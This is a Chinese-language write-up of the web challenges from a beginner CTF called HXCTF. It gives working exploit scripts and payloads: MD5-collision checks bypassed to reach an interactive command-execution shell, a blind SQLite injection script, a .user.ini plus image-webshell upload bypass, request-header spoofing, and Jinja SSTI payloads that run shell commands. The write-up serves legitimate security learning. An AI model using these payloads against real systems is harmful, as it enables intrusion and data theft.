HXCTF-WEB

​ 最近打过的最新生的新生赛,单说web方向,难度挺适合学过一些的新生,除了每日任务的任务2有点小脑洞,测测你的🐎的有点奇奇怪怪以外都还挺好的,刚开始正好没早八就打了打拿了几个血,但后面意识到抢小登的血有点不太好,加上后面几天比较忙也就没有再看了,趁着周末有空把WriteUp简单写写

ez_md5

​ 访问环境获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);


$a=$_GET['a'];
$b=$_GET['b'];
if (!($a!==$b && md5($a)===md5($b))){
die('回家吧孩子');
}

$c=(string)$_POST['c'];
$d=(string)$_POST['d'];
if (!($c!==$d && md5($c)==md5($d))){
die('稍微加点料');
}

$love=(string)$_POST['love'];
$ctf=(string)$_POST['ctf'];
if ($love!==$ctf && md5($love)===md5($ctf)){
echo '都写到这里了,自己去拿flag吧';
shell_exec($_POST['shell']);
}

​ 满足三次判断即可:

  1. $a!==$b && md5($a)===md5($b)

    强比较判断,数组绕过即可,传?a[]=0&b[]=1

  2. $c!==$d && md5($c)==md5($d)

    弱类型比较,但是被(string)转为字符串,数组绕过失效,但可以0x科学计数法绕过,传c=QLTHNDT&d=QNKCDZO

    类似的还有

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    s878926199a
    0e545993274517709034328855841020

    s155964671a
    0e342768416822451524974117254469

    s214587387a
    0e848240448830537924465865611904

    QLTHNDT
    0e405967825401955372549139051580

    QNKCDZO
    0e830400451993494058024219903391

    EEIZDOI
    0e782601363539291779881938479162

    240610708
    0e462097431906509019562988736854
  3. $love!==$ctf && md5($love)===md5($ctf)

    强类型比较,并且被(string)转为字符串,数组绕过,科学计数法绕过均失效,可利用fastcoll强哈希碰撞

​ 可任意传参给shell_exec(),但是shell_exec本身没有回显,将命令执行结果写入可访问文件再读取即可,完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
URL = "http://43.139.51.42:38078/"

def rce(cmd: str) -> str:
post_data = {
"c":"QLTHNDT",
"d":"QNKCDZO",
"love": open("./a_msg1.txt","rb").read(),
"ctf": open("./a_msg2.txt","rb").read(),
"shell": f"{cmd} > res.txt"
}

requests.post(URL+"?a[]=0&b[]=1",data=post_data)
res = requests.get(URL+"res.txt")
return res.text

if __name__ == "__main__":
while(1):
cmd = input("shell> ")
print(rce(cmd))

image-20250511171931578

ez_upload

​ 文件上传界面,正常文件上传测试无果,但是注意到:

image-20250511172122763

sqInject.php提示似乎存在sql注入,在图片读取位置单引号会引发报错:

image-20250511172158854

sqlmap测试存在布尔盲注,且后端数据库为SQLite

image-20250511172427891

​ 打SQLite的布尔,盲注即可,以下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests

URL = "http://43.139.51.42:38080/backend/image.php?name="

def bind_inject(base_payload, max_lenth):
res = ""
for i in range(1,max_lenth+1):
for ch in range(33,127):
payload = base_payload.format(i, chr(ch))
r = requests.get(URL + payload)
if "图片未找到" not in r.text:
res+= chr(ch)
print(res)
break

return res

def get_version():
version_lenth = 0
# 判断数据库版本长度
for i in range(1, 100):
payload = "' or length(sqlite_version())={}--".format(i)
r = requests.get(URL + payload)
if "图片未找到" not in r.text:
version_lenth = i
print("数据库版本长度为: ", i)
break
# 6

# 判断数据库版本
version = bind_inject("' or substr(sqlite_version(),{},1)='{}'--", version_lenth)
print("数据库版本为: ", version)
# 3.28.0

def get_table():
# 判断表名
table = bind_inject("' or substr((select group_concat(sql) from sqlite_master),{},1)='{}'--", 100)
print("表名为: ", table)
# CREATE+TABLE+flag+(++++++++++++id+INTEGER+PRIMARY+KEY+AUTOINCREMENT,++++++++++++secret+TEXT+NOT+

def get_flag():
# 获取flag
flag = bind_inject("' or substr((select secret from flag),{},1)='{}'--", 100)
print("flag为: ", flag)

if __name__ == "__main__":
# get_version()
# get_table()
get_flag()

image-20250511173437826

我们一起来下棋吧

​ flag就在源码,开发者工具的快捷键被禁用了手动打开即可:

image-20250511173611918

新人来爆照

​ 同样的文件上传类题目,使用nginx部署:

image-20250511173836740

​ fuzz测试为白名单后缀,但是.ini后缀也被允许,同时会对文件头进行测试,且被上传的目录存在php文件,那么使用.user.ini配合图片马即可解析getshell

​ 先上传图片马:

image-20250511174449005

​ 上传路径:uploads/56ced6c08d51b21204b1f0e6d6e21e78/index.php

​ 再上传.user.ini:

image-20250511174923420

​ 上传路径:uploads/93bb9219c9a053ef87e78b329dc77f4c/index.php

​ 蚁剑连接即可:

image-20250511175112905

image-20250511175129339

每日任务

image-20250511175210144

​ 依次将请求方法设置为POST,X-Forwarded-For请求头设置为127.0.0.1User-Agent请求头设置为GZCTFBrowserReferer设置为hxctf.challenge.game即可:

image-20250511175757635

​ 然后这个自定义请求头稍微有点脑洞了,实际上是将LOVE-CTF设置为TRUE

image-20250511175859694

intval($year) < 2025 && intval($year+1)>2026的判断使用科学计数法即可绕过:

image-20250511180107555

​ 参考https://blog.csdn.net/qq_45521281/article/details/105871192

image-20250511180208195

​ 只要求数字,先随便传一下:

image-20250511180313967

image-20250511180411915

is_numeric($_GET['gic'])并且intval($gic)并且!preg_match("/[0-9]/",$gic),gic传数组干爆preg_match即可:

image-20250511180638232

​ 解一下base64就是flag:

image-20250511180711133

​ 完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import io
import sys
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')

url = "http://43.139.51.42:38084/"

headers = {
"LOVE-CTF": "TRUE",
"X-Forwarded-For": "127.0.0.1",
"User-Agent": "GZCTFBrowser",
"Referer": "hxctf.challenge.game"
}

pdata = {
"year": "1e4",
"play[the_ctf.web": ""
}

res = requests.post(url+"?ma=1&gic[]=", headers=headers,data=pdata)

print(res.text)

测测你的🐎

​ 超级waf,什么都上传不了,根据提示fuzz一下后缀,发现.html可上传:

image-20250511181130860

​ 但是html本身不会解析php马,并不能getshell,但是访问文件上传的目录,发现也有个index.php(话说为啥上传文件的目录会还有一个和根目录下一样的index.php啊喂):

image-20250511181337597

​ 不同点在于waf没了:

image-20250511181400413

​ 那么再进行一个什么过滤都没有的文件上传即可:

image-20250511181528845

image-20250511181607168

玩玩你的机-1

​ 有一个意义不大的人机验证码,passphrase可以执行python命令,看来是一个沙箱逃逸相关的题目:

image-20250511181741712

image-20250511181944607

​ 存在waf,这里可以写脚本测试哪些关键词被waf了,但是我比较懒加上题目不难就选择手测了:

​ 测试过程:

image-20250511182421639

玩玩你的机-2

​ 同上,多了些过滤,把fban了,通配符绕过即可:

image-20250511183000305

表白墙

image-20250511183036375

​ 回显和输入相同,疑似ssti:

​ 输入49回显49,存在ssti

​ fenjing梭哈拿到shell:

image-20250511183353349

image-20250511183433896

随便输

​ 附件给到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from flask import Flask, request, render_template_string
import socket
import threading
import re

app = Flask(__name__)

blacklist = ['/', 'flag', 'cat', '+', 'base', 'attr', 'before_request', 'setdefault',
'cycler', 'set', 'ls', 'response', 'eval', 'chmod', 'session', 'format',
'self', 'mro', 'subclasses', 'chr', 'ord', 'config', 'getitem', 'teardown',
'module', '__init__', '__loader__', '_request_ctx_stack', 'string', 'cp',
'_update', 'add', 'after_request', 'system', 'open','socket', '*', '?', '>',
'mv', 'file', 'write', 'env', 'join', 'static', '@', 'sleep','urllib']

@app.route('/')
def index():
return "这里没有flag"

@app.route('/challenge', methods=['POST'])
def rce():
cmd = request.form.get('try', '')
for word in blacklist:
pattern = r'(^|[^\w]){}([^\w]|$)'.format(re.escape(word))
if re.search(pattern, cmd):
return "执行失败"
code = render_template_string(cmd)

return '执行成功' if code is not None else '?'


class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break

if not request_data:
client_socket.close()
return

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)

response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk

header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data

response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body

client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()


def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()


def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)


if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000

proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
run_flask_app()

/challenge路由中cmd参数可控,未过滤{},一样存在ssti:

image-20250511183721568

​ 但是没有回显,只会提示执行成功,fenjing不能直接梭哈了,这里我就选择使用响应头回显,参考SSTI无回显处理(新回显方式) - E4telle - 博客园

​ 文章中payload直接拿过来:

1
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

__init__被过滤,那替换lipsum.__spec__.__init__.__globals__g.pop.__globals__一样可以拿到sys;

​ 而catflag/被过滤,且无法使用*?通配符绕过,那么可以考虑使用字符拼接绕过关键词过滤,例如'cat'改为'ca'~'t''flag'改为'fl'~'ag',而/被过滤,不能直接cd /,那么cd ..;cd ..;cd ..一样可以达成目的,所以最终payload为:

1
{{lipsum.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,\"server_version\",lipsum.__globals__.os.popen('cd ..;ca'~'t fla'~'g').read())}}

​ 完整EXP:

1
2
3
4
5
6
7
8
import requests
url = "http://43.139.51.42:38090/challenge"

payload = "{{lipsum.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,\"server_version\",lipsum.__globals__.os.popen('cd ..;ca'~'t fla'~'g').read())}}"

r = requests.post(url, data={"try": payload})
print(r.text)
print(r.headers.get("Server"))

image-20250511185510196